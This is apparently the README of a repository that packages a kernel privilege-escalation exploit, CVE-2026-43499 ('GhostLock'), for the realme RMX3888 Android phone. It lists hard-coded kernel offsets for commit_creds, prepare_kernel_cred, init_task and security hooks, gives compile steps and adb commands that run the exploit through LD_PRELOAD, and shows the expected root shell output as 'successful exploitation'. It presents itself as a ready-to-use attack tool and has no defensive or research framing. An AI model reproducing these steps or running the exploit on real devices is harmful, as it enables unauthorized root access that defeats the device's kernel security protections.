Overview

This repository contains the complete configuration files for CVE-2026-43499 (GhostLock) exploit targeting the realme RMX3888 device. All kernel offsets have been extracted and verified from the device's boot.img.

Features

✓ 20 verified kernel offsets extracted from vmlinux
✓ Real-time logging with O_SYNC + fsync for kernel panic safety
✓ Device-specific configuration for RMX3888
✓ One-click compilation script with NDK auto-detection
✓ Comprehensive documentation with build guides

Quick Start

Prerequisites

Android NDK r26d or later
Git Bash, Linux/WSL, or Termux environment

Compilation

git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh

On Windows Git Bash, the script auto-detects the default SDK path used by Android Studio and command-line tools: /c/Android/Sdk/ndk/*.

Note: ASHMEM_MISC_FOPS, ASHMEM_COMPAT_IOCTL, and COPY_SPLICE_READ currently use build-compatible fallbacks in the RMX3888 target header. Replace those with verified RMX3888 vmlinux offsets before relying on runtime behavior.

Usage

# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/

# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so

# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# Check logs
adb shell cat /sdcard/Download/log_*.txt

Key Offsets

The main offsets below were extracted from kernel 6.1.141. See the note above for build-compatible fallback entries that still need RMX3888-specific verification.

#define KIMAGE_TEXT_BASE        0xffffffc008000000ULL
#define INIT_TASK_OFF           0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF         0x0126bbe0ULL
#define COMMIT_CREDS            0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED     0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets

Logging Features

The integrated real-time logging module provides:

Primary log path: /sdcard/Download/log_.txt
Fallback path: /data/local/tmp/log_.txt
Kernel panic safe: Uses O_SYNC + fsync() for immediate disk write
Timestamped entries: All log entries include precise timestamps
stderr mirror: Logs also output to stderr for adb logcat

Expected Results

Successful Exploitation

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...
